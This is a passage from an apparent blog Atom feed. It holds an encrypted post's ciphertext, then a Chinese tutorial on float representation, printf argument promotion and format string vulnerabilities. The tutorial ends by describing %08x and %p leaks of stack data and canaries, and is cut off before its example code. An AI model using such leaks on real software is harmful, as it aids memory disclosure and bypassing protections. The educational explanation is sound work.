dc9752c45d6c9d99b2842ee1c1c4e3b53fb7959b8dc3a19e9ed91d18c2be46e9203f70e7ea8bafc09828694091234c21da4a93caf87e5d3c750a3ce82398f456cc52743f9f11ea5ed4607b7e738cc9871abe6a4f49f954e4414e8cb46cda960cf3f49a249133a8ec926db9bd2db59c0461946ef043040f38d954a5783c2a2608f78abcf6d42cc1844db5b4fa3ee7692052ce66cdd7f46740bc3c063009b411323bd8ebf9c7e908ec5cd905c21b3eaab31aa0227bbb2ffdc4e1a5aac574be3b3315e7cf6aa964e90543d39a443d113c85c4ef2647d9db484b542c801d1165909303936f9ea3d386c7fd8f1fdb13eb8cd37a2fd85be235423454afa855ea6777891ecb1b5e7e032972351199ae97655a468430cdd0062d4209e2c82de572b33510408e56ce0895373b2b0b49d1a660a2a530a4ae853f237d1fdb7b4dd085d9fc66fd42296c7814be04d2637c05cb1b058545d4185d24f9cbca430a3fa59e6269eebb79bf985ca652ad0db7402597b700ff4f6110ce91b5e798b8882d09d729c9eea01a944fc49576e76754162a695351abc84e1b85e4a0a5b4aac18bbadf7aac6fdc9ed977a80fd1b1ed43ecf00bb88f81d44b554a5b6d9672c23db3d76194b9f34ff6334a2c04671bd1f577c8ad30a802c92cd5818156bf75a0ef392c9eae5d8f0812e4eafc84c65f44acb42d15c28f41b82b3800bb83818657481523423a2ac562326ea68d34b509baf8d84c432f95e0e556eb57f053783cf1a673263703cb9c7f2a70873167a6530a91d4acf72e283e12169311eb789674cadb3f2407183f522c1cb50b2ecf53ec7d6bdc6cb8bfbe9c0e27a160ed60c294bd3fcbea844e6bc05f44382f103e33a7f2f6a3ee807a4a1b761950c22e0a7073c68e7a0fca220268e486bc2d2bfeea1544a987a8fa38a5cddd56603a8fba33708824551948a518af99fe6df86c26ef1344d72a7593fc22349f168c34759528d5d822164a601bf530e2f632d393ad1585f5640b1c8f458047241f77f70dcf318783aa9d46ded9d66153145c4ddc239829fa161a9f2f8f0595a1cb5213e20afac21fe678f7e1c99de360e28bea1bf1fb22b56246c9c192dae89a62f5871d6598b80b432e70b8ab71ec5f95673a5723596ee941c11453754cf46e8b49bcdd6df2c3297892c9c83d574854c5e36f4e6deb8fb80b8aeec83a31827fa41731dd6b9841982379b5cfacb95dea83ca7054d47604dba133fa0ec73b9177ee9a47646de11ab831b7869599cebb289bd4f1298ee4130d18860d2d16d58d332e2751f7fbd3ba67232ab00fa317c563b895f9de5857882fb6b6d76750c8ce544d1130f263d9dc091e9b5e763d2c833a98330331648a4a5a2701c3ac3347834636c7f24bebc46c2fe3cf0e18560299295257878bdd868f19b420bc8bf1b177acb4caa4b6d8f5e673e715f75c4682cc58acff8056340d1cd987085490d5d02b52c32d3e11eb701c624514ae00882593adf9c5ccd45a981740ff9c775f823cdae202095ce538dd60806cf545689074a72466f32dcfe3c8d28e01f1f5f370dea48af9f633328982b03cc6a644d5f1671d9355ff8df7e42e4720fe3394d83034121c754d9a0f2df2c62449cbe1cab743d82c5e75336164bcde59277ba4e939cd66b45414d6e624385ccfda0e62719145714a1d70cfed6b3d50f7e331fd2d78afc51c0a14ca416747ec974fe3d452d6393e5dd94a058185a63c0e91214610e47e510d19cb2ba7bc2fb1d73e5c7eb7c5c2222adb61d7f4c5c7347f9a21e9c8eb99a7457ae0723b9058a9b137fd035c2e8d726ccd03089111952ba264f1d98d509a2711a9ae36bfb66ea55950e6fbdb083922f1b71229d4cb7eefe66f366a261e9310adcb027884026778a92b7a88ce393ffb3ee2bfb6bec4945e0f5a2bc35282d416f7ed337cfc870403d7a4dbe653ef8d4f999220c0c15f3f60852881cf404389efc6635a441dd29cc5548473c3469692a131ab4f9d20c3ff9ef3966c032179ff64d7754beb3d1aa73ff01c7f35c22f96fd0116c8a55130cdb3093d002b9df25dc1ebfbbe279f044807132a1e29418e1186b33b7ec1a2327229534bb84caffc2b7e7b5dcefca81bccd8d296ddb8a6d4e32ddcb8f49e58c476efadd35b7c2a8bda25086eeffbc399e9a6a6eb5d58ae3503a032411cc7c7d235c08e221451787f584571f1d698da5b766b7ff085650b40d576384625de917da961f91ff3f1f3fae8b47696cf4c992967607dede9d22ae3d0a4692018ac94e50798c8380d47d8297b614156f8b3e8387f6d69fcc4503aa7c1877aeabd859c9b7b3dd3606e63b20f7cee99dcb716d5be2577d2337ace9f99eaa2bddf28a08142824fe5f5503191df31230a10be9411ba59093ac22fd516fe2acdc2ac30a7b38ad546284dcdc5fe11aac982fa45602ed2b4219e4602a8ee2fd19df61557b6594d9bf1f6db62d8ebb23c425e017c2aa0c048abe9e05c620c512fd84ab2ca27eb4b72be731fb1cc1992efcd7a54e6fb8c74b3a4bdefc27602028c31d5298621a36557c292b2a0aba167a8e1e34daeb2994f66f9b4d0938d1ca28038d6646724dd471d9949c1cbb12ac2359b72e6ca919e846ab82e5f31238aa8a5618456a167fbb97b6fd4fb01e83f3380224be87f52d62fa503fc310e1cedd4da05b679f25bc9e08ed03879f108f454523541f8806f9e410393bb16e054983c09377e9e6d07289e00e33b3003c2f426c20f0e7f9d88d3e966753721e4c1e3b4af13bccaa8dabda62a2134b36d3c4d9aff565c2d082568203fba73f6a899d30fd02783db3e347972f312ebc355747cbcb71020e6063f35793ce067841113310b615120bd03db1d035a69169c3dd352a5486efd9b643830ebf124f58abb078696c83e8bc5c45ad4fcc803191c40aaa0a8f389808e44ef6f39acddd668f140afac052482465454c0cd67e1d68e2afba9ae2fd141f69774e507dfe4d5bcbc8477d057de85365c8a1f2c1ac406ad637e91043472b166bc0ba9be60f4986c1033d75dda5fb4f16abdbaf95a61aa7576c9151884bec00dbe30e76419808dfd6bf8d7465572e7fd74c2f77f1a4883eabdcf3bb9aa5e9071b61ba8d4a38552e21ec51171593b80adf36251f40f3678cba7eaebd16c435ae5c3bec9b87d1cee4fa51f45f75455610c62b3e09e446ffefc7f04fb67b1ce233a09753fc4bbe0dbaf2ea63ea4ae338cca69b0dc92caa7020f35a19292a8b332f7c9442f18a8fc89305052760fa52e8405046df3cc41cd427a05cc9a2e7e50674b00e21c3546f6f93a3c171efbbf34f05181806aa92dcab2db08d63226df48d806bab80b5ef0725a004c3e8c511c02364f1521fd35b932afd13f04a399bc58bb3593be9968c7ec45a7cc0a1fc53341554ce41b0a32522a0a83eae0ab084c380321e8fd45bd1d479b614dd9eb0f817253f351a2d11686a5be6286b80db66b5b414118fb108c2616bcba603c76240af2fd09e730ec08f4e13add7f9e2412bbd24201e9f844cc3290428a80e11130b470f8d1ab8132cf3b59a1dbeb2f4622ccfef4b402b14cb6efa2f88f4e722bc067a1653b25ef935ebf37ce4fb844f0bc8831be78b43414852c6d256243510710d23c32c521954cc9151dc571ab4dde07e744ae6c5ed558a1efc21e734e6cd208516c31a3cd69ea591fe62facf58b0a778e426dd3e961d1c8e56af4093c758ebbef2868c309ffb24ce123bffc04a905ec1a72130481adf95626cd812ee095d52888cf833d4096d34c62033a5ad4e25cf7705d357d982a5772f0d983979e64e004295edd243b6449241ea3d041080cfe821f0bd8bbe64a6446aea9ea26650054a2aa25d0efac868cd10c67074fc4ea1bc25d3184c8cf3e033221b92881ee9719c422000cbecdbc5bb6213f8072221f285236dc9db59ae0d92fb786a90c954ad8521622847577d8a41a56082568c66aae8cffceb6a764e4a5089486c09c3933eef1cc8e9e3e1b892eae9ff5005974457ce97a33077a3a61368a20b839e8e22456fdc271516ef7f0029e161e6f7448a30b9a10f68573fd04b7f202efea3ebbc237185f1c4ff06d3e74b11ea2c5470aacd963b1aa944c5153e93366b5ebd3ecaeb5b7789b85facbb18de8f4f6b0a58bcf2c90cdc5092563d9a55b515ac0c4d0f344cdd827cd91636b7d2557714846502ac4b2a6eabe9af668be102ec2dc37afe0212caa9700f1a123bb9028cb827033e2e90c1734c7ecc6a06bebb463a1a388929c6474ff8ffcfed083b9661cfc491dd89953de2044c9cd3fdd0e026cacdb85f87bee1d5373122f3cccc095ade3f638caca1b728c37c59aff2fa32faafa657269ce015c559de842000c80b4a09197e788860db5a6de1d4bb2965a7d285be98383add83150bca62228dbca688221ed832f37fa8a6616158801aea7bb31c689e1592f395830282790f0a6661aa0f3b42c44ab80dfab5e4417f0379afe025c89efd7c11a0c587ab182a06b45f991f318289d011136be643d3de8f7845d70565fb756a4d523f7c675f828f0f12d57eae816930c96a304a082fc1718ac34e87e85c07fc7db866c35d94c116755734f66dbd1b8b34c4952b4d67ba25f215425ae7314a87d5d515e2b44e2de775d2873723e21241eda6d3e8d9ba0f4660980fcaed88aad7ecdc0d0965c6d6af9d788ffdfca6d1b0ea102d5416994ea69287452bcff80160769da804848be26f5d5482471c2de34e2a1374ed67f782b597d80de97359dbadc5a72d8f9f9efddf8f09bd9c99c0be3e0bac333fe749222febd1d0e79098cb10df130ba0952746ded8dd054b0c975cd16e4d875b5463bdcd6163909f7c7bc1d33fd74885691d3085a07593b2eae9cdf80425b40ce0191f7dc63729abd693e2b4ef66733aed30237fb3fa7b892bce25f82e31249244931cbf8a720f466cd764853075b2fe6dcc25bc98ab2fb71b8bbd63648d882976595640a23cdd2113000401cdfaf5c9f03c6a81bc2b4ec56ce31164789a5ef71c2de62846b49569a0e713f187579587d05afeea3db2eabc65f8439e5e00321aa8ce2455319ba21ba49f3052db0a6f38dd3b299060d1a4f77f38e937a33ae4fd9ebf7f90255dbeeba2009c53def5ffee537ede0539049ab55d776942d3da8b0068091509ea5bfcc27d7b605f4741a2ea86a670e1211a9ed416aba7733f7caf8aa7c4d1d7300009b52dce04171d9f9119bcd079d971e96755ccd644a1727d55c156f46a11ac3d12ed60957845f3ccf4c574a970c0a4fb36bd22c2e4a5e7346f264191c38454c9b735197f5af65538d881122f08bc5e85dd789cfe020aea7e134a2ab70f212401d742e3f63ac5f2c75db94ed4b3cbc1324be541dd9343a769cff24844dc19e39f65ad898fc722099c62b709caa29c4d3bf856201e7eed6d4e7515e0e6017ec670728e1ed8fd6f00e27fc656d236ede43023b7c0958f5d33122716c3a81b1392ea50a3f29b6aed4c382085495035969a1420495a4900fd4dd9de7130d2c98d366b8c4b06351e7db1285f5712d2066876f32e42cb5a4fea9d36d695c4356693a0f18f9948a80f735478b58697f427f2301a686a1c72bcfc23d85a39aaef19058834a7729b4e9a93b02bd24643f4b0076604811f6ec3185f4f94029db8c6c608f3efd636a6fdfa1bcbca5247d4ee50899bc22c6b5febb0cd4231c94fc93612d74356c80167337184f045c58e7348e8941cf9374edaafeaefb935bc51a3c595fccf1ae48bd36140c80c8ca631bd60de7c5aa949b34efee30b3ddd8a38e89224550646ee75360200947063768aa2f52a5f3ecabc92178ba1678963fa30f066770b70eab63f70228d87a1e848b0590a97521d5baafbe35b55ba80225aa9a9e2286eeec0ab92a594d1d2720b93665a9943312200db559a782534ac7699e8ca1ae8081c4e175cf1e40be25aa19ed33f968bc12c30049f7b6bb0b3335880d3437b7c1dd179aefecd944ec55dedfb03a18f3a64538a7cece78b75cab773ad6ab55246a0d55461c668200c4df9d54d7f36841c275a847f22a233a21f2e3c27bff861723bc659c464b541dc386925376007ae107a2a2391558634c8e7c16c29b4610b5bc0238c955dbace400c65be2b2a65684b2b02480afbef0aeaebe5a5c925792588ac881d400d821d21ef20fa9aee86ee0d2e45b64b2dd72b671796017dd889a4762f659507799b22e42f6239325b33db59dc2e929a4dd5c4802940a39f798552ce6b39b5d27d38b13018a8cdb5385d89488d7b71afe174bc881494f010379c2d9dd6d232a99837893e872af734622b2f021d7bada998225b196cd09a01cad9ea9cdd19e3ce2aba68ea1191ee0ab7de8b3115acc051f2503806a8a8ba606f538664625a8bd0b37493e775cb4df420870a01da2c629b015e8edee075fa298b967814afda761df994d616c4a6e213efabb75b8dad2e88e974ee017d7ab23f3f4f83451c8e46d85e1d477aaf14a7a9246db718234f41899cee38f8e65836bc463ecc3cb1d9f0927047a56f60e001f39ae6342c9423c084078269154412688827ef4d94adec5e407fe9980133a73824e88fe6095468d043a9219f03fcaa050f41d406eaaccfde5eea433301ebe2db0ed3b105ddbcb7dd4b5ffb611542d5880f47382599da06868430eab8dbadcd8a26579c17d25d8eccf3c38c47ebd563b8f906a79e6635aa7820eba44e800f34fd2016bc4c79a7accf8487d456cf63a14942ab2dbb65e637cf25b4f0f771346158a5f47e2676930465bd8b4d37755e84226d7bab88449aad44903f1c4c753c067410e07c6943105d01f22233210b403dc9bf7c7fc85f2c6400c70557a9d8e2ed5c57638e11c06986383b28e169cbe20bc88db9fb07f8fd69a0555b2308b4c793ae92b8c611396ed28010c6e601a1dd1c1edfc5f9159815a09ff9ae0be29725b83f8f869018be85d7f0deba766269fa2af1c8ebeba123f855e7f683210c1b3fec27eb74994a06155299f50e2bed495757ade719bcea910072328acc49c4d9a192403ec4175ae0f178af8e4bee5f725466df431801e52074b1abbead8a3ec680b0915ec267b643699b4a459c6c8354d719c8941647d64d9f2c0cf64ccd15e20f4d9ff79dc8fefe155e30803f3df40083baf503a5bc26fa4edfe10431aad6f4ad6b449cf7f33ad4443a835517ebecea50f56a0d300c50ece9e033d9cad63703ad2b1bb594407992df17f1b76a94e7a6f137aad7edefa5467ad0f3e570905577a4308393718ffeeabd0c4512408b89df85e87cddbbfc975e574e674609530ec7d578a3954d1e074c689f94458c38bbd9b875dab8f00e0e531c6269080fc463c27c7663b628045ec4c67e92356a81647471f6ed9f68c9d2d1d90f6ad7bb5e73db1cd45c072373993f64f056126f6c9430457a0301d5e41114fb82a729e1706d2451ef5ad4e7d72bd655c787708ffe1c799ef3cb98239c36e58e4a988d472d3decc35d35d421965fce27b3f355695dc9f8d8674838294395aeef649dffe68b5daeae1fa3843d9245707c31d9ee1d46f284071102a5cb2cd802cd268466286eb8ecb0595ed8bffee3d761e0e4941dc91c747a5cccb97b2892151f57ef5d941b6e661929a483148fe4e00c8316e683cd39fb1cc349f31e1455dc5db61c304d2b90fd27f7ac1630312fb7044bf03ada5313ff0363c963b3ea2a246a3f7763e888970b90d3389731ae4915230ef6397a462d703a1a44c8f43a220208586f782e3bb3e78890fdddb7b21fc78f0db99e086d20c0e96dd21388db3cbecb01a5443611ef46ec7e10ee1581623268b1d79169f21109bce07deeb65a88462fc4e4a00375131b04a1c01d04696b5adf6086579022b09d5a83094b85eb36dbbab4fc6cac0c0238c6d6231951bdc014cc484082bd4009b109df19b75a3c588f09288b569d2ec3726a613ffe90ebef7861390077e53a640f01967028af77c3f84568c34dd351618afcce9eee8a08109c3651ff1c71030eed5ef22b50b3537c1dd149aba8ce1eb15781a72c1a1159f6facf47cb745c5c751b339d82f56541f16143e6f5d9ddb01a0c58634ac8db1c6ff1e2cfc478fb8c2d59bc5a50e6b943110627ad3027db3370bd97e0e7cbb77b93c3a9fadbade761649b606fa9eca665fd9e43cc1f23601fea26f3c74b8a630c4dd325598f4ae8957e353f2c8063281ae130bf5b5881d5c3cac85ad209cdcf365d6efdddca9b9ac6303b4ff51c212701f6d1fc0d8c959ed767076d8eb6d25bd8806df4c377ae714b34ed15fff2109347335415b5739e874ff51deccaa48a4ad544c6c4fb416cfa81387bb2c539f0ebd772a0324f4c1923c6e667bb351cb18ef45cd3bf7102cd2100f3c0f72dee80301185b0d69dd4c09264731d89faf46166d409016b8a9e9a2dce165c678afc2f34b6738015448d688e91fa6fa54decd72f2bb257be3ddd1f628ea3024a7f6fca3111274b5796d4bbcbaef5f9854829ab3d21925f2ceb75f4f2bd13007968bf4e381458511f8208d263442e8affc3a202c5acc1dc5f38e7d61fa870091e14f657b81945b376947fdfe005dd2347ac670939fd1cbde0035419be039433ba0361548aa1c34e645c9b5a74493c2af1afe2f5ff26a9cf0fa6a6305bd1dbd2fc21e51a91fc08c83c37e49b2c3857758946e0dc1b1821152e7312345404ac9f214d7b4ddaed41a41757a671a26a641cf4ad388b29484e9a3ef8a62d7e7b5b88f5fa70d5c986678cc9c42ee677f36b358b3553f6ef207abaa5c05c50aa2677ca9c841dc3f981127e4b55662effe8c6d2f495c080aaefa7dde8ef8b4fbb7effde85124b27eadd04ad97ac718d7f8043c6c22746d3577113beafb8654eac3eee7f807f98326390022e86cae9285094bbd8fc0e30ab97d2cfdb6de6d2cf1f46f5e096cb98d29f099adf26c65ba33625ac634622f190683f4ffd9075c6ed68a214c4c2ab8abfb4d0e458d2464a259a0a62e5a51c849420ac58da8b83a0d29e8274ac24121c8f5d30f3329faf552d069742cedd712454c477fc73d6977b746b26a04d32c13f0aecdc2488cc335f4dfe3ea5005183bf4557027cb2c5811df8ce81384c270467f2009b7288862e49675008afa13e61b70455e63104c0dcd58d35311038d162d9d84f65116914424ecc4a05452f38942448e40deab44c7c8c8e9d3134323e5170dc18ef98eaa67ccf47ce74e84d536cd14c4adc772039e46ce69f01914188f35a5520c5152e628d9fd0a6b3b71aca5f50b4f5455cfee4ea152bcc07db8b5d8646aa4ebbf9d5ad2ef53dd42bb8cf1a254bb55b527d31d6de16030cdded9866e57d113e94a71b2d59a2b5f3769c7e7ed42f1411945c8e5af9022fc9b9236d9b4bea3dec4a702e81d5f38f260bfa2e1bd402d47a912e34c5d93511843b2b618e38d28ce62f60728e085431e95bd7c1b299fbeb908feff5286dc1bba5dc725c9aefabc677594bb18f34683b75a7e48954151f362b6b36536056a7c0adebe528d40d8c8e903762afa3b050942e083d8f9aeb4a6839e92842241acc27dec3a0a482185354afcc76dc8257e2bc5848538e9c278cd5e7d2888c1d0d778cfa624a22341971970cc13f8d6a0599c1c8678adcc5352766b8c1dd926b3bcb7b4d72392a3963428d1b99af69379b9c4c8399f7ee6c1ae95fb7d302c5e70924d693afd4aba003a4e33e20545299ee726d941aa15770fbddb8f8e51e016f17df192e298c40caf5c1d64eb006ff008c9bf891390ac56e803bf3c7695718590389f915d43cbe4f2908253e68e7e1ca3d77c2f2348286f41db782ca9e9d1245d9e7bd7ed5027ceca83d3f52d039e3463865045971b128018554ebbad3a80bb7fe44d8fcba36695725d683c8c14729a4b5b5d031168a6eea39a135f6f8e44adc9204800e75ff1002c5f57fd3308ac9d8963bd4dc713d347a451d2f24415c98f0261c1d7548cd7a9edaa0fc12f98fd5458183e2dd0ed4636bca5a95e8a99bb69a382e306a8c1e06b9054741bd6ef776164ae0cadcb0415dae3caf4ca3d2c704d5d82993c1e445277b80d58c14a86fabe4a783104f36cc3990454ef4fd26aad31957f040df5b7408c20ac51b31bc61c6951eafdfc4e1e8fc1c1d4c9c86cbe3ea08149817501d7866df9bab6b85adf7d014cd7a99985fc010921e1e793181b265e3c23f8c4218f37ea60bd3c7823356427434ee163457a3e6621f55ed19f64db9f69d3468e916e29a4ce54d211d54916da9edcd93a3502e714b436a99baab2916e9e52d80503e111969</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    
    <category term="ebpf" scheme="https://cl0und.xyz/tags/ebpf/"/>
    
  </entry>
  
  <entry>
    <title>浮点数精度，printf，格式化字符串漏洞</title>
    <link href="https://cl0und.xyz/2024/08/31/%E6%B5%AE%E7%82%B9%E6%95%B0%E7%B2%BE%E5%BA%A6%EF%BC%8Cprintf%EF%BC%8C%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/"/>
    <id>https://cl0und.xyz/2024/08/31/%E6%B5%AE%E7%82%B9%E6%95%B0%E7%B2%BE%E5%BA%A6%EF%BC%8Cprintf%EF%BC%8C%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/</id>
    <published>2024-08-31T06:43:26.000Z</published>
    <updated>2024-09-14T14:22:24.639Z</updated>
    
    <content type="html"><![CDATA[<!-- more --><p>文中各种图片引用自不同的blog都附在参考链接里面了，侵删。</p><h2 id="浮点数的存储"><a href="#浮点数的存储" class="headerlink" title="浮点数的存储"></a>浮点数的存储</h2><p>单精度浮点数 (single precision floating point) 的表示方式遵循 IEEE 754 标准。这种表示方式由32位组成：</p><ul><li>1位用于符号位 (sign bit)</li><li>8位用于指数 (exponent)</li><li>23位用于尾数 (mantissa or significand)</li></ul><p><img src="image1.png"></p><p>双精度类似，此时指数位有11，尾数有52</p><p><img src="image2.png"></p><p>手工转换的思路是分别把整数部分和小数部分换成二进制，然后缩放成1.X * 2^n的二进制版本科学计数法。此时</p><p>.X部分为尾数部分，n为<strong>阶码</strong>需要加上127，如果n为1那么指数位就是127+1 = 128。之所以会有这个规定，是为了考虑到n为负数的情况（只考虑正数的情况，十进制下小于1）。</p><p>下面以8.5存储为单精度为例</p><ul><li><p>8.5 是正数，所以符号位为 0。</p></li><li><p>整数部分是 8，转换为二进制是 1000。</p></li><li><p>小数部分是 0.5。将其转换为二进制：</p><ul><li>0.5 × 2 = 1.0，整数部分是 1</li></ul></li><li><p>所以，0.5 的二进制是 0.1。</p></li><li><p>8.5 的二进制表示为 1000.1。</p></li><li><p>将二进制数表示为规范化形式：1.0001 × 2^3。</p></li><li><p>指数是 3，加上偏移量 127，得到 130。</p></li><li><p>130 的二进制表示为 10000010。</p></li><li><p>尾数是规范化形式中小数点后的部分：0001，补足到 23 位：00010000000000000000000</p></li><li><p>符号位 + 指数 + 尾数 = 0 10000010 00010000000000000000000。</p></li></ul><p><img src="image3.png"></p><h2 id="浮点数的分类"><a href="#浮点数的分类" class="headerlink" title="浮点数的分类"></a>浮点数的分类</h2><p>当然其实上面介绍的只是浮点数的一种类型的求值方式：规格化浮点数。</p><p>浮点数有三种分类，<a href="https://www.cnblogs.com/zuoxiaolong/p/computer11.html">这篇文章</a>总结非常好直接抄过来</p><ol><li><p>规格化浮点数</p><ol><li>此时指数位范围是1至254，因此对应阶码的范围则为-126至127</li><li>尾数位是一个小于1的小数，在计算真实浮点数字的时候需要+1 （真实的尾数M = 1 + f）。相当于我们省掉了1位二进制，形成了浮点数表示的约定，默认尾数的值还有一个最高位的1。</li></ol></li><li><p>非规格化浮点数，</p><ol><li>指数位全为0</li><li>非规格化的方式与规格化不同，它不会对尾数进行加1的处理，也就是说，真实的尾数M = f。这是为了能够表示0这个数值，否则的话尾数总是大于1，那么无论如何都将得不到0这个数值。</li></ol></li><li><p>特殊值</p><ol><li>在阶码全为1时，如果尾数位全为0，则表示无穷大。符号位为0则表示正无穷大，相反则表示负无穷大。</li><li>倘若尾数位不全为0时，此时则表示NaN，表示不是一个数字。</li><li>这一点在Javascript当中有一个相关的函数与这个NaN的含义有点类似，它的作用是用来判断一个参数是否是一个数字。</li></ol></li></ol><p><img src="image4.png"></p><p>由此可以看出来，浮点数的取值范围。</p><p><img src="image5.png"></p><p>举个例子非规格化浮点数（考虑单精度，正数）</p><ol><li>非规格化数的最小值 = 2^-23 * 2^-126 = 2 ^ -149</li><li>非格式化数最大值 = (2^-1 + 2^-2 + … + 2 ^ -23)* 2^-126 = (1−2^-23) * 2^-126</li></ol><p><a href="https://blog.csdn.net/dreamer2020/article/details/24158303">引用结论</a></p><blockquote><p>通过上面的分析可以发现，尽管浮点数表示的范围很广，但由于精度损失的存在，加上幂次的放大作用，一个浮点数实际上是表示了周围的一个有理数区间。如果将浮点数绘制到一个数轴上，直观上看，靠近0的部分，浮点数出现较密集。越靠近无穷大，浮点数分布越稀疏，一个浮点值代表了周围一片数据。从这个意义上来说，浮点数不宜直接比较相等，它们是代表了一个数据范围。实际应用中，如果要使用浮点数计算，一定要考虑精度问题。在满足精度要求的前提下，计算结果才是有效的。 在计算精度要求情形下，例如商业计算等，应该避免使用浮点数，严格采取高精度计算。</p></blockquote><p><img src="image6.png"></p><p>再啰嗦一句，帮助理解，也就是这里非规格化数的最小值2 ^ -149代表了 0到2 ^ -149之间的所有正数。</p><h2 id="浮点数的精度"><a href="#浮点数的精度" class="headerlink" title="浮点数的精度"></a>浮点数的精度</h2><p>单精度浮点数的精度主要由尾数部分决定。由于尾数有23位，加上隐含的1位，总共有24位的有效数字。</p><p>现在，我们来计算这 24 位二进制数可以表示多少位十进制有效数字：log₁₀(2²⁴) ≈ 7.22</p><p>这意味着单精度浮点数理论上可以精确表示大约 7位十进制有效数字，这里再对有效数字做一个定义</p><ul><li>非零数字总是有效数字。</li><li>在非零数字之间的零是有效数字。</li><li>小数点左边的前导零不是有效数字。</li><li>小数点右边的尾随零可能是有效数字，这取决于测量的精度</li></ul><h2 id="再看prinf"><a href="#再看prinf" class="headerlink" title="再看prinf"></a>再看prinf</h2><p>抄这篇文章的题目，读者可以思考一下输出是什么。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">(<span class="type">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> a = <span class="number">4</span>;</span><br><span class="line">    <span class="type">int</span> b = <span class="number">3</span>;</span><br><span class="line">    <span class="type">int</span> c = a/b;</span><br><span class="line">    <span class="type">float</span> d =  *(<span class="type">float</span>*)(&amp;c);</span><br><span class="line">    <span class="type">long</span> <span class="type">long</span> e = <span class="number">0xffffffffffffffff</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;a/b:%f，a:%d\n&quot;</span>,a/b,a,b);          <span class="comment">//打印0</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;(float)a/b:%f\n&quot;</span>,((<span class="type">float</span>)a)/b);   <span class="comment">//打印1</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;(double)a/b:%lf\n&quot;</span>,((<span class="type">double</span>)a)/b);<span class="comment">//打印2</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;d:%f\n&quot;</span>,d);                       <span class="comment">//打印3</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%.*f\n&quot;</span>,<span class="number">20</span>,(<span class="type">double</span>)a/b);          <span class="comment">//打印4</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;e:%d,a:%d\n&quot;</span>,e,a);                <span class="comment">//打印5</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;a:%d,++a:%d,a++:%d\n&quot;</span>,a,++a,a++); <span class="comment">//打印6</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行的结果是</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">a/b:<span class="number">0.000000</span>，a:<span class="number">1</span></span><br><span class="line">(<span class="type">float</span>)a/b:<span class="number">1.333333</span></span><br><span class="line">(<span class="type">double</span>)a/b:<span class="number">1.333333</span></span><br><span class="line">d:<span class="number">0.000000</span></span><br><span class="line"><span class="number">1.33333333333333325932</span></span><br><span class="line">e:<span class="number">-1</span>,a:<span class="number">4</span></span><br><span class="line">a:<span class="number">6</span>,++a:<span class="number">6</span>,a++:<span class="number">4</span></span><br></pre></td></tr></table></figure><p>第一次看到这个题的时候，感觉很奇怪，<code>printf(&quot;a/b:%f，a:%d\n&quot;,a/b,a,b);</code> 。这里格式化字符串里面只有两位，为什么要传入三个参数。</p><p>所以这里我们主要关注打印0-2涉及到的知识点</p><ol><li><p>每个参数执行“默认实际参数提升”</p><ol><li>提升规则如下: float将提升到double</li><li>char、short和相应的signed、unsigned类型将提升到int</li></ol></li><li><p>printf实际上只会接受到double，int，long int等类型的参数。而从来不会实际接受到float，char，short等类型参数。</p></li></ol><p><img src="image7.png"></p><p>我们gdb调试结果来佐证一下。</p><h2 id="格式化字符串漏洞"><a href="#格式化字符串漏洞" class="headerlink" title="格式化字符串漏洞"></a>格式化字符串漏洞</h2><p>先来看一下prinf支持的各种参数</p><ul><li><code>%d</code> 或 <code>%i</code>：整数</li><li><code>%u</code>：无符号整数</li><li><code>%f</code>：浮点数</li><li><code>%x</code>：十六进制整数（小写）</li><li><code>%X</code>：十六进制整数（大写）</li><li><code>%o</code>：八进制整数</li><li><code>%s</code>：字符串</li><li><code>%c</code>：字符</li><li><code>%p</code>：指针地址</li><li><code>%n</code>：写入的字符数</li></ul><h3 id="格式化字符串泄漏栈上内存数据"><a href="#格式化字符串泄漏栈上内存数据" class="headerlink" title="格式化字符串泄漏栈上内存数据"></a>格式化字符串泄漏栈上内存数据</h3><p>这种套路，一般用%08x, %p来泄漏栈上数据。举一个leak cannary的例子。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 